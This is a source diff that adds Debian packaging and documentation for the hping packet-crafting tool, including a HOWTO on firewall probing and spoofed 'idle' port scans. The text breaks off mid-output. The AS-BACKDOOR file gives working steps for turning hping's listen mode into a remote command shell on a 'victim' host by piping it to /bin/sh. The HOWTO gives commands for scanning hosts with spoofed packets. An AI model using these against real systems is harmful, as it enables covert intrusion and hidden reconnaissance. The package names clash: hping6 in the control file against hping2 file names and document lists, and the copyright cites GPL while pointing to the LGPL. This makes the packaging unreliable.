since the interested user would + be better to install package libpcap-dev. + + -- Domenico Andreoli Sat, 2 Sep 2000 04:46:18 +0200 + +hping2 (2.beta54-2) unstable; urgency=low + + * Now, thanks to debconf, the administrator can choose whether to + install hping2 as setuid or not. + * I hope I found a more meaningful short description for + this package. :) + + -- Domenico Andreoli Fri, 1 Sep 2000 19:25:14 +0200 + +hping2 (2.beta54-1) unstable; urgency=low + + * Initial Release. + + -- Domenico Andreoli Sat, 22 Jul 2000 14:09:34 +0200 diff --git a/debian/compat b/debian/compat new file mode 100644 index 0000000..7ed6ff8 --- /dev/null +++ b/debian/compat @@ -0,0 +1 @@ +5 diff --git a/debian/control b/debian/control new file mode 100644 index 0000000..ac9b7fc --- /dev/null +++ b/debian/control @@ -0,0 +1,21 @@ +Source: hping6 +Section: net +Priority: extra +Maintainer: Romain Francoise +Standards-Version: 3.6.2.1 +Build-Depends: debhelper (>> 5.0.0) + +Package: hping6 +Architecture: any +Depends: ${shlibs:Depends} +Description: Active Network Smashing Tool + hping6 is a network tool able to send custom ICMP/UDP/TCP packets and + to display target replies like ping does with ICMP replies. It handles + fragmentation and arbitrary packet body and size, and can be used to + transfer files under supported protocols. Using hping6, you can test + firewall rules, perform (spoofed) port scanning, test network + performance using different protocols, do path MTU discovery, perform + traceroute-like actions under different protocols, fingerprint remote + operating systems, audit TCP/IP stacks, etc. + . + Homepage: http://www.hping.org/ diff --git a/debian/copyright b/debian/copyright new file mode 100644 index 0000000..f4b6410 --- /dev/null +++ b/debian/copyright @@ -0,0 +1,24 @@ +This package was debianized by Domenico Andreoli on +Sat, 22 Jul 2000 02:17:49 +0200. +It is now maintained by Romain Francoise + +It was downloaded from http://www.kyuzz.org/antirez/hping6.html + +Upstream Author: Salvatore Sanfilippo + +Copyright: + + hping6 is free software. It comes under GPL version 2, + except for the following: + + display_ipopt.c : from ping, BSD style license + libpcap library : BSD style license + + for more information see the upper part of this files. + + WARNING: hping6 is covered *ONLY* by GPL version 2, and *NOT* any others. + + hping6 is Copyright (C) 1998, 1999 by Salvatore Sanfilippo. + +On Debian GNU/Linux systems, the complete text of the GNU Lesser General +Public License can be found in `/usr/share/common-licenses'. diff --git a/debian/hping2.dirs b/debian/hping2.dirs new file mode 100644 index 0000000..6481ff0 --- /dev/null +++ b/debian/hping2.dirs @@ -0,0 +1,5 @@ +usr/sbin +usr/share +usr/share/man +usr/share/man/man8 +usr/share/man/fr/man8 diff --git a/debian/hping2.docs b/debian/hping2.docs new file mode 100644 index 0000000..49dff1a --- /dev/null +++ b/debian/hping2.docs @@ -0,0 +1,8 @@ +README +KNOWN-BUGS +TODO +docs/AS-BACKDOOR +docs/HPING6-HOWTO.txt +docs/HPING6-IS-OPEN +docs/MORE-FUN-WITH-IPID +docs/SPOOFED_SCAN.txt diff --git a/debian/hping2.files b/debian/hping2.files new file mode 100644 index 0000000..d5e39c1 --- /dev/null +++ b/debian/hping2.files @@ -0,0 +1 @@ +usr/sbin/hping6 diff --git a/debian/hping2.links b/debian/hping2.links new file mode 100644 index 0000000..e3086bf --- /dev/null +++ b/debian/hping2.links @@ -0,0 +1,3 @@ +/usr/sbin/hping2 /usr/sbin/hping +/usr/share/man/man8/hping2.8 /usr/share/man/man8/hping.8 +/usr/share/man/fr/man8/hping2.8 /usr/share/man/fr/man8/hping.8 diff --git a/debian/hping2.manpages b/debian/hping2.manpages new file mode 100644 index 0000000..7cff597 --- /dev/null +++ b/debian/hping2.manpages @@ -0,0 +1 @@ +docs/hping2.8 diff --git a/debian/rules b/debian/rules new file mode 100644 index 0000000..aae588e --- /dev/null +++ b/debian/rules @@ -0,0 +1,65 @@ +#!/usr/bin/make -f +# Sample debian/rules that uses debhelper. +# GNU copyright 1997 to 1999 by Joey Hess. + +# Uncomment this to turn on verbose mode. +#export DH_VERBOSE=1 + +configure: configure-stamp +configure-stamp: + dh_testdir + ./configure --prefix=/usr --mandir=\$${prefix}/share/man --infodir=\$${prefix}/share/info + touch configure-stamp + +build: configure-stamp build-stamp +build-stamp: + dh_testdir + $(MAKE) + touch build-stamp + +clean: + dh_testdir + dh_testroot + rm -f build-stamp configure-stamp + + # Add here commands to clean up after the build process. + -$(MAKE) distclean + + dh_clean + +install: build + dh_testdir + dh_testroot + dh_clean -k + dh_installdirs + + # Add here commands to install the package into debian/tmp. + $(MAKE) install prefix=`pwd`/debian/tmp/usr + gzip -9 -c `pwd`/docs/french/hping2-fr.8 > `pwd`/debian/hping2/usr/share/man/fr/man8/hping2.8.gz + + dh_movefiles + +# Build architecture-independent files here. +binary-indep: build install +# We have nothing to do by default. + +# Build architecture-dependent files here. +binary-arch: build install + dh_testdir + dh_testroot + dh_installdebconf + dh_installdocs + dh_installman + dh_installchangelogs CHANGES + dh_link + dh_strip + dh_compress + dh_fixperms + dh_installdeb + dh_shlibdeps + dh_gencontrol + dh_md5sums + dh_builddeb + +binary: binary-indep binary-arch +.PHONY: build clean binary-indep binary-arch binary install diff --git a/display_ipopt.c b/display_ipopt.c new file mode 100644 index 0000000..f41e5ed --- /dev/null +++ b/display_ipopt.c @@ -0,0 +1,136 @@ +/* + * Copyright (c) 1989 The Regents of the University of California. + * All rights reserved. + * + * This code is derived from software contributed to Berkeley by + * Mike Muuss. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#include +#include +#include +#include +#include +#include + +#include "hping2.h" +#include "globals.h" + +/* ripped from ping */ + +void display_ipopt(char* buf) +{ +int i,j; +unsigned long l; +static int old_rrlen; +static char old_rr[MAX_IPOPTLEN]; +unsigned char* cp; +int hlen; +struct myiphdr *ip; +struct in_addr in; + + + ip = (struct myiphdr *)buf; + hlen = ip->ihl * 4; + + cp = (u_char *)buf + sizeof(struct myiphdr); + + for (; hlen > (int)sizeof(struct myiphdr); --hlen, ++cp) + switch (*cp) { + case IPOPT_EOL: + hlen = 0; + break; + case IPOPT_LSRR: + (void)printf("LSRR: "); + hlen -= 2; + j = *++cp; + ++cp; + if (j > IPOPT_MINOFF) + for (;;) { + l = *++cp; + l = (l<<8) + *++cp; + l = (l<<8) + *++cp; + l = (l<<8) + *++cp; + in.s_addr=htonl(l); + printf("\t%s",inet_ntoa(in)); + hlen -= 4; + j -= 4; + if (j <= IPOPT_MINOFF) + break; + (void)putchar('\n'); + } + break; + case IPOPT_RR: + j = *++cp; /* get length */ + i = *++cp; /* and pointer */ + hlen -= 2; + if (i > j) + i = j; + i -= IPOPT_MINOFF; + if (i <= 0) + continue; + if (i == old_rrlen + && cp == (u_char *)buf + sizeof(struct myiphdr) + 2 + && !memcmp((char *)cp, old_rr, i)) { + (void)printf("\t(same route)\n"); + i = ((i + 3) / 4) * 4; + hlen -= i; + cp += i; + break; + } + old_rrlen = i; + memcpy(old_rr, cp, i); + (void)printf("RR: "); + for (;;) { + l = *++cp; + l = (l<<8) + *++cp; + l = (l<<8) + *++cp; + l = (l<<8) + *++cp; + in.s_addr=htonl(l); + printf("\t%s",inet_ntoa(in)); + hlen -= 4; + i -= 4; + if (i <= 0) + break; + (void)putchar('\n'); + } + putchar('\n'); + + break; + case IPOPT_NOP: + (void)printf("NOP\n"); + break; + default: + (void)printf("unknown option %x\n", *cp); + break; + } + +} diff --git a/docs/APD.txt b/docs/APD.txt new file mode 100644 index 0000000..36f8a89 --- /dev/null +++ b/docs/APD.txt @@ -0,0 +1,121 @@ +ARS Packet Description system + + This document describes the APD format. APD is a way to describe TCP/IP + packets, and it is used in high level functions of the ARS library. + The general format is the following: + + layer_type{field_1=value_1,field_2=value_2,...,field_n=value_n} + + more layers can be combined using the "+" simbol. Example: + + ip{dst=192.168.1.2}+udp{sport=53,dport=53}+data{file=./dns.packet} + + You don't need to specify fields that ARS can guess. For example + if you don't specify checksums they will be correctly generated + in the process of packet compilation. + + AVAILABLE LAYERS + ~~~~~~~~~~~~~~~~ + + A layer type is one of the following: + + ip IP header + ipopt.eol IP option EOL + ipopt.nop IP option NOP + ipopt.sec IP option Security + ipopt.sid IP option Stream ID + ipopt.lsrr IP option Loose Source Routing + ipopt.ssrr IP option Strict Source Routing + ipopt.rr IP option Record Route + ipopt.ts IP option Timestamp + udp UDP header + tcp TCP header + tcpopt.end TCP option END + tcpopt.nop TCP option NOP + tcpopt.mss TCP option Max Segment Size + tcpopt.wscale TCP option Window Scale + tcpopt.sackperm TCP option Selective ACK permitted + tcpopt.sack TCP option Selevtive ACK + tcpopt.echo TCP option Echo Request + tcpopt.echoreply TCP option Echo Reply + tcpopt.ts TCP option Timestamp + icmp ICMP header + data Generic Data + + Different fields are defined for different layer types: + + IP FIELDS: DESCRIPTION: POSSIBLE VALUE: + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + saddr Source address 192.168.1.2, or www.yahoo.com + daddr Destination address 192.168.1.2, or www.yahoo.com + ihl IP header len numerical value + ver IP version numerical value + tos Type of Service numerical value + totlen IP tot len numerical value + id IP packet ID numerical value + fragoff IP fragment offset numerical vaule + mf More Fragment 0 or 1 + df Dont Fragment 0 or 1 + rf Reserved Frag. bit 0 or 1 + ttl Time to Live numerical value + proto ip protocol field numerical value + cksum ip checksum numerical value + + UDP FIELDS: DESCRIPTION: POSSIBLE VALUE: + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + sport Source port numerical value + dport Destination port numerical value + len UDP len field numerical value + cksum UDP checksum numerical value + + TCP FIELDS: DESCRIPTION: POSSIBLE VALUE: + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + sport Source port numerical value + dport Destination port numerical value + seq TCP sequence number numerical value + ack TCP acknowledge number numerical value + x2 TCP reserved bits numerical value + off TCP header size numerical value + flags TCP flags FSRPAUXY (see the example) + win TCP window numerical value + cksum TCP checksum numerical value + urp TCP urgent pointer numerical value + + ICMP FIELDS: DESCRIPTION: POSSIBLE VALUE: + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + type ICMP type numerical value + code ICMP code numerical value + cksum ICMP cksum numerical value + id ICMP echo ID numerical value + seq ICMP echo sequence nr numerical value + gw ICMP gateway 192.168.1.2 or www.yahoo.com + + DATA FIELDS: DESCRIPTION: POSSIBLE VALUE: + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + file Data file /etc/passwd + str A string hello world! (no escaping available) + + + Other layer types fields aren't still implemented, anyway + most of this contains sane defaults, (like IP record route option + and so on). + + You can specify numerical values as hex, octal and decimal numbers. + + Decimail: 10 + Hex: 0xA + Octal: 012 + + Examples + ~~~~~~~~ + + /* Just an ICMP echo request */ + ip{saddr=1.2.3.4,daddr=www.yahoo.com}+icmp{type=8,code=0}\ + +data{str=hello world} + + /* An ICMP destination unreachable with the quoted UDP packet */ + ip{saddr=1.2.3.4,daddr=5.6.7.8}+icmp{type=3,code=3}\ + +ip{saddr=www.yahoo.com,daddr=1.2.3.4}+udp{sport=53,dport=53}\ + + /* A TCP packet with the SYN flag set */ + ip{saddr=1.2.3.4,daddr=5.6.7.8}+tcp{flags=S,dport=80,sport=10} diff --git a/docs/AS-BACKDOOR b/docs/AS-BACKDOOR new file mode 100644 index 0000000..0fd8f6d --- /dev/null +++ b/docs/AS-BACKDOOR @@ -0,0 +1,37 @@ +hping can be used as a backdoor. Just try the -9 (--listen) option +and put in pipe with /bin/sh: + +Put hping in listen mode in the victim host. + +victim# hping -I eth0 -9 mysign | /bin/sh + +Every packet that contain "mysign" will be processed by hping, +all the bytes that follows "mysign" in the packet will be dumped +to the standard output, so for example I'll able to exec commands +using all types of protocols. Just for example I can use the smtpd +to exec 'ls' in the victim. + +evil$ telnet victim 25 + +Trying 192.168.1.1... +Connected to nano (192.168.1.1). +Escape character is '^]'. +220 nano.marmoc.net ESMTP Sendmail +mysignls; + +on the victim you will see: + +victim# hping -I eth0 -9 mysign | /bin/sh +hping2 listen mode +bin cdrom etc home local-home mnt root tmp var +boot dev export lib lost+found proc sbin usr +: command not found + +As you can see I used 'ls;' since otherwise the shell will receive +just ls^M. The ";" force the command execution (at least with bash and zsh, +check your shell for more information). + +This works with all kind of valid not-filtered IP packets, the higher +level protocl does not matter. + +antirez diff --git a/docs/HPING2-HOWTO.txt b/docs/HPING2-HOWTO.txt new file mode 100644 index 0000000..5128b00 --- /dev/null +++ b/docs/HPING2-HOWTO.txt @@ -0,0 +1,440 @@ +N.B.: this HOWTO is not completed and in some points very silly. I leave this + here only because maybe it's better that nothing. + +HPING2 HOWTO + +Changes Log +----------- +Aug 7 1999 vi HPING2-HOWTO.txt +Aug 8 1999 __0000, __0001, __0002, __0003 +Aug 10 1999 __0004 + +Index +----- +[search __XXXX in order to jump to point you want] + + __0000: Copyright notice + __0001: What is hping? + __0002: What i need to know about TCP/IP in order to use hping? + __0003: First step with hping + __0004: IP id and how to scan TCP ports using spoofing. + __0005: How to test firewall rules. (TODO) + __0006: How to trasfer files accross firewall. (TODO) + + __000A: hping usage example (TODO) + +__0000: Copyright notice, License, and all that stuff + + Copyright (C) Salvatore Sanfilippo, 1999. + + Permission is granted to make and distribute copies of this manual + provided the copyright notice and this permission notice are preserved + on all copies. + + Permission is granted to copy and distribute modified versions of this + manual under the conditions for verbatim copying, provided that the + derived work is distributed under the terms of a permission notice + identical to this one. Translations fall under the catagory of + ``modified versions.'' + + Warranty: None. + + Recommendations: Commercial redistribution is allowed and encouraged; + however, it is strongly recommended that the redistributor contact the + author before the redistribution, in the interest of keeping things + up-to-date (you could send me a copy of the thing you're making while + you're at it). Translators are also advised to contact the author + before translating. The printed version looks nicer. Recycle. + +__0001: What is hping? + + Hping is a software to do TCP/IP stack auditing, to uncover firewall + policy, to scan TCP port in a lot of different modes, to transfer + files accross a firewall and many other stuff. Using hping you are + able to do even a lot of not security-regarding stuff. For example you + can test networks performance, check if a host is up, check if TOS + is handled et cetera. + +__0002: What i need to know about TCP/IP in order to use hping? + + If you know TCP/IP you will find hping very usefull, otherwise + you can use hping only to do well known tests. See __000A for + some example. + +__0003: First step with hping + + The simplest usage of hping is the following: + + #hping host + + This command sends a TCP null-flags packet to port 0 of target + host every second and show the host replies. For example: + +# hping www.debian.org +ppp0 default routing interface selected (according to /proc) +HPING www.debian.org (ppp0 209.81.8.242): NO FLAGS are set, 40 headers + 0 data bytes +40 bytes from 209.81.8.242: flags=RA seq=0 ttl=243 id=63667 win=0 time=369.4 ms +40 bytes from 209.81.8.242: flags=RA seq=1 ttl=243 id=63719 win=0 time=420.0 ms +40 bytes from 209.81.8.242: flags=RA seq=2 ttl=243 id=63763 win=0 time=350.0 ms +[Ctrl+C] +--- www.debian.org hping statistic --- +3 packets tramitted, 3 packets received, 0% packet loss + + As you can see host replies with a TCP packet with RST and ACK flags + set. So you are able to perform a 'TCP ping', usefull when ICMPs are + filtered. By default port 0 are used because it's very strange that + is in LISTEN state. If we send a TCP null-flags to a port in + LISTEN state a lot of TCP/IP stack will not send any reply. So we are + able to know if a port is in LISTEN state. For example: + +# hping www.debian.org -p 80 +ppp0 default routing interface selected (according to /proc) +HPING www.debian.org (ppp0 209.81.8.242): NO FLAGS are set, 40 headers + 0 data bytes +[Ctrl+C] +--- www.debian.org hping statistic --- +5 packets trasmitted, 0 packets received, 100% packet loss + + Since port 80 of www.debian.org is in LISTEN mode we got + no response. + + But What's happen if we try to hping a firewalled port? This depends + on firewall policy/implementation. Usually we get an ICMP or + nothing. For example: + +# hping www.yahoo.com -p 79 +ppp0 default routing interface selected (according to /proc) +HPING www.yahoo.com (ppp0 204.71.200.67): NO FLAGS are set, 40 headers + 0 data bytes +ICMP Packet filtered from 206.132.254.41 (pos1-0-2488M.hr8.SNV.globalcenter.net) + +--- www.yahoo.com hping statistic --- +14 packets tramitted, 0 packets received, 100% packet loss + + yahoo firewall doesn't allow connection to port 79, so reply with + an ICMP Packet filtered (ICMP unreachable code 13). However + there are a lot of firewall that simply drop the packet. For example: + +# hping www.microsoft.com -p 79 +ppp0 default routing interface selected (according to /proc) +HPING www.microsoft.com (ppp0 207.46.130.150): NO FLAGS are set, 40 headers + 0 data bytes + +--- www.microsoft.com hping statistic --- +4 packets tramitted, 0 packets received, 100% packet loss + + No reply from microsoft. Is the port firewalled or in LISTEN mode? + To uncover this is very simply. Just we try to set ACK flag instead + to send a TCP null-flag packet. If the host respond maybe this port + is in LISTEN mode (but it's possible that there is a rules that + deny null-flag TCP packet but allow ACK). + +# hping www.microsoft.com -A -p 79 +ppp0 default routing interface selected (according to /proc) +HPING www.microsoft.com (ppp0 207.46.130.149): A set, 40 headers + 0 data bytes + +--- www.microsoft.com hping statistic --- +3 packets tramitted, 0 packets received, 100% packet loss + + No response again, So this port seems to be filtered. Anyway + it's possible that microsoft is using an 'intelligent' firewall + that know that in order to connect first I must send a SYN. + +# hping www.microsoft.com -S -p 79 +ppp0 default routing interface selected (according to /proc) +HPING www.microsoft.com (ppp0 207.46.130.149): S set, 40 headers + 0 data bytes + +--- www.microsoft.com hping statistic --- +3 packets tramitted, 0 packets received, 100% packet loss + + Ok.. seems that port 79 of microsoft is really filtered. + Just for clearness we send some ACK to port 80 of www.debian.org: + +# hping www.debian.org -p 80 -A +ppp0 default routing interface selected (according to /proc) +HPING www.debian.org (ppp0 209.81.8.242): A set, 40 headers + 0 data bytes +40 bytes from 209.81.8.242: flags=R seq=0 ttl=243 id=5590 win=0 time=379.5 ms +40 bytes from 209.81.8.242: flags=R seq=1 ttl=243 id=5638 win=0 time=370.0 ms +40 bytes from 209.81.8.242: flags=R seq=2 ttl=243 id=5667 win=0 time=360.0 ms + +--- www.debian.org hping statistic --- +3 packets tramitted, 3 packets received, 0% packet loss + + We can see replies even if port 80 is in LISTEN mode because + a port in LISTEN mode may not replay only to NULL, FIN, Xmas, Ymas + flags TCP packet. ACK and RST are two important TCP flags that + allow to do ACL tests and to guess ip->id without to produce any log + (usually). + +__0004: IP id and how to scan TCP ports using spoofing. + + Every IP packet is identified by a 16 bit id. Thanks to this id + IP stacks are able to handle fragmentation. A lot of OSs handle + ip->id travially: just increment by 1 this id for each packet sent. + Using this id you are able at least to estimate hosts traffic and to + scan with spoofed packets. OpenBSD >= 2.5 and many others implement + a random not repetitive id so you aren't able to joke with ip->id. + Win* ip->id has different byte ordering, so you must specify + --winid or -W option if you are using hping2 against Win*. + + N.B.: You are able to scan spoofed hosts with safe/random ip->id + because in order to spoof your packets you need a third + part host with incremental id rule but you don't need that + target of your scanning has an incremental id. + + How to estimate host traffic using ip->id? It's really simple: + +# hping www.yahoo.com -p 80 -A +ppp0 default routing interface selected (according to /proc) +HPING www.yahoo.com (ppp0 204.71.200.74): A set, 40 headers + 0 data bytes +40 bytes from 204.71.200.74: flags=R seq=0 ttl=53 id=29607 win=0 rtt=329.4 ms +40 bytes from 204.71.200.74: flags=R seq=1 ttl=53 id=31549 win=0 rtt=390.0 ms +40 bytes from 204.71.200.74: flags=R seq=2 ttl=53 id=33432 win=0 rtt=390.0 ms +40 bytes from 204.71.200.74: flags=R seq=3 ttl=53 id=35368 win=0 rtt=380.0 ms +40 bytes from 204.71.200.74: flags=R seq=4 ttl=53 id=37335 win=0 rtt=390.0 ms +40 bytes from 204.71.200.74: flags=R seq=5 ttl=53 id=39157 win=0 rtt=380.0 ms +40 bytes from 204.71.200.74: flags=R seq=6 ttl=53 id=41118 win=0 rtt=370.0 ms +40 bytes from 204.71.200.74: flags=R seq=7 ttl=53 id=43330 win=0 rtt=390.0 ms + +--- www.yahoo.com hping statistic --- +8 packets tramitted, 8 packets received, 0% packet loss +round-trip min/avg/max = 329.4/377.4/390.0 ms + + As you can se id field increase. Packet with sequence 0 has id=29607, + sequence 1 has id=31549, so www.yahoo.com host sent 31549-29607 = 1942 + packets in circa one second. Using -r|--relid option hping output + id field as difference between last and current received packet id. + +# hping www.yahoo.com -P 80 -A -r +ppp0 default routing interface selected (according to /proc) +HPING www.yahoo.com (ppp0 204.71.200.68): A set, 40 headers + 0 data bytes +40 bytes from 204.71.200.68: flags=R seq=0 ttl=53 id=65179 win=0 rtt=327.1 ms +40 bytes from 204.71.200.68: flags=R seq=1 ttl=53 id=+1936 win=0 rtt=360.0 ms +40 bytes from 204.71.200.68: flags=R seq=2 ttl=53 id=+1880 win=0 rtt=340.0 ms +40 bytes from 204.71.200.68: flags=R seq=3 ttl=53 id=+1993 win=0 rtt=330.0 ms +40 bytes from 204.71.200.68: flags=R seq=4 ttl=53 id=+1871 win=0 rtt=350.0 ms +40 bytes from 204.71.200.68: flags=R seq=5 ttl=53 id=+1932 win=0 rtt=340.0 ms +40 bytes from 204.71.200.68: flags=R seq=6 ttl=53 id=+1776 win=0 rtt=330.0 ms +40 bytes from 204.71.200.68: flags=R seq=7 ttl=53 id=+1749 win=0 rtt=320.0 ms +40 bytes from 204.71.200.68: flags=R seq=8 ttl=53 id=+1888 win=0 rtt=340.0 ms +40 bytes from 204.71.200.68: flags=R seq=9 ttl=53 id=+1907 win=0 rtt=330.0 ms + +--- www.yahoo.com hping statistic --- +10 packets tramitted, 10 packets received, 0% packet loss +round-trip min/avg/max = 320.0/336.7/360.0 ms + + Obviously checking the id every 1/2 second instead of 1 second, increment + will be half. + +# hping www.yahoo.com -P 80 -A -r -i u 500000 +ppp0 default routing interface selected (according to /proc) +HPING www.yahoo.com (ppp0 204.71.200.68): A set, 40 headers + 0 data bytes +40 bytes from 204.71.200.68: flags=R seq=0 ttl=53 id=35713 win=0 rtt=327.0 ms +40 bytes from 204.71.200.68: flags=R seq=1 ttl=53 id=+806 win=0 rtt=310.0 ms +40 bytes from 204.71.200.68: flags=R seq=2 ttl=53 id=+992 win=0 rtt=320.0 ms +40 bytes from 204.71.200.68: flags=R seq=3 ttl=53 id=+936 win=0 rtt=330.0 ms +40 bytes from 204.71.200.68: flags=R seq=4 ttl=53 id=+987 win=0 rtt=310.0 ms +40 bytes from 204.71.200.68: flags=R seq=5 ttl=53 id=+952 win=0 rtt=320.0 ms +40 bytes from 204.71.200.68: flags=R seq=6 ttl=53 id=+918 win=0 rtt=330.0 ms +40 bytes from 204.71.200.68: flags=R seq=7 ttl=53 id=+809 win=0 rtt=320.0 ms +40 bytes from 204.71.200.68: flags=R seq=8 ttl=53 id=+881 win=0 rtt=320.0 ms + +--- www.yahoo.com hping statistic --- +9 packets tramitted, 9 packets received, 0% packet loss +round-trip min/avg/max = 310.0/320.8/330.0 ms + + N.B. Warning, using ip->id you are able only to guess *the number + of packets sent/time*. You can't always compare different hosts. + ip->id refers to all host interfaces and for example if an host + use NAT or redirect TCP connections to another host (for example + a firewall used to hide a web server) ip->id increment may + result fakely increased. + + hpinging windows box without using --winid option you will see as + increments are 256 multiple because different id byteordering. This + can be really usefull for OS fingerprinting: + +#hping win95 -r +HPING win95 (eth0 192.168.4.41): NO FLAGS are set, 40 headers + 0 data bytes +46 bytes from 192.168.4.41: flags=RA seq=0 ttl=128 id=47371 win=0 rtt=0.5 ms +46 bytes from 192.168.4.41: flags=RA seq=1 ttl=128 id=+256 win=0 rtt=0.5 ms +46 bytes from 192.168.4.41: flags=RA seq=2 ttl=128 id=+256 win=0 rtt=0.6 ms +46 bytes from 192.168.4.41: flags=RA seq=3 ttl=128 id=+256 win=0 rtt=0.5 ms + +--- win95 hping statistic --- +4 packets tramitted, 4 packets received, 0% packet loss +round-trip min/avg/max = 0.5/0.5/0.6 ms + + Windows systems are "marked", so in order to discovery if an host is + a Windows host you need to send just some packet. + +How to perform spoofed SYN scan using incremental id? The following +is the original message to bugtraq about spoofed/indirect/idle scan method, +bottom i'll try to explain details and how this is possible even with UDP +with some restriction. + +---- bugtraq posting about spoofed scanning ---- + + Hi, + + I have uncovered a new tcp port scan method. + Instead all others it allows you to scan using spoofed + packets, so scanned hosts can't see your real address. + In order to perform this i use three well known tcp/ip + implementation peculiarities of most OS: + + (1) * hosts reply SYN|ACK to SYN if tcp target port is open, + reply RST|ACK if tcp target port is closed. + + (2) * You can know the number of packets that hosts are sending + using id ip header field. See my previous posting 'about the ip + header' in this ml. + + (3) * hosts reply RST to SYN|ACK, reply nothing to RST. + + + The Players: + + host A - evil host, the attacker. + host B - silent host. + host C - victim host. + + A is your host. + B is a particular host: It must not send any packets while + you are scanning C. There are a lot of 'zero traffic' hosts + in internet, especially in the night :) + C is the victim, it must be vulnerable to SYN scan. + + I've called this scan method 'dumb host scan' in honour of host + B characteristics. + + + How it works: + + Host A monitors number of outgoing packets from B using id iphdr. + You can do this simply using hping: + +#hping B -r +HPING B (eth0 xxx.yyy.zzz.jjj): no flags are set, 40 data bytes +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=0 ttl=64 id=41660 win=0 time=1.2 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=1 ttl=64 id=+1 win=0 time=75 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=2 ttl=64 id=+1 win=0 time=91 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=3 ttl=64 id=+1 win=0 time=90 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=4 ttl=64 id=+1 win=0 time=91 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=5 ttl=64 id=+1 win=0 time=87 ms +-cut- +.. +. + + As you can see, id increases are always 1. So this host have the + characteristics that host B should to own. + + Now host A sends SYN to port X of C spoofing from B. + (using hping => 0.67 is very easy, http://www.kyuzz.org/antirez) + if port X of C is open, host C will send SYN|ACK to B (yes, + host C don't know that the real sender is A). In this + case host B replies to SYN|ACK with a RST. + If we send to host C a few of SYN it will reply to B with a few + of SYN|ACK, so B will reply to C a few of RST... so + we'll see that host B is sending packets! + +. +.. +-cut- +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=17 ttl=64 id=+1 win=0 time=96 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=18 ttl=64 id=+1 win=0 time=80 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=19 ttl=64 id=+2 win=0 time=83 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=20 ttl=64 id=+3 win=0 time=94 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=21 ttl=64 id=+1 win=0 time=92 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=22 ttl=64 id=+2 win=0 time=82 ms +-cut- +.. +. + + The port is open! + + Instead, if port X of C is closed sending to C a few + of SYN spoofed from B, it will reply with RST to B, and + B will not reply (see 3). So we'll see that host B is not sending + any packet: + +. +.. +-cut- +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=52 ttl=64 id=+1 win=0 time=85 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=53 ttl=64 id=+1 win=0 time=83 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=54 ttl=64 id=+1 win=0 time=93 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=55 ttl=64 id=+1 win=0 time=74 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=56 ttl=64 id=+1 win=0 time=95 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=57 ttl=64 id=+1 win=0 time=81 ms +-cut- +.. +. + + The port is closed. + + All this can appear complicated to perform, but using two sessions + of hping on Linux virtual consoles or under X makes it more simple. + First session listen host B: hping B -r + Second session send spoofed SYN: hping C -a B -S + + Sorry if my english is not so clear. + However this posting is not adequate to describe exaustively + this scan method, so i'll write a paper on this topic, specially + about how to implement this in a port scanner (i.e. nmap), and + about players characteristics and OS used. + +happy new year, +antirez + +---- EOF ---- + + As you can see spoofed scanning is travial to perform, especially + unsing hping2 you are able to specify micro seconds interval (-i uX) + so you don't need that B host is a totally idle host. You may read + id increment once every second sending 10 SYN every second. If you + send an adequate SYNnumber/second expected id increment is so big + that you are able to see if port is open or closed even if B host + is sending other packets. Example: + +# hping awake.host.org -p 80 -A -r +ppp0 default routing interface selected (according to /proc) +HPING server.alicom.com (ppp0 111.222.333.44): A set, 40 headers + 0 data bytes +40 bytes from 111.222.333.44: flags=R seq=0 ttl=249 id=47323 win=0 rtt=239.7 ms +40 bytes from 111.222.333.44: flags=R seq=1 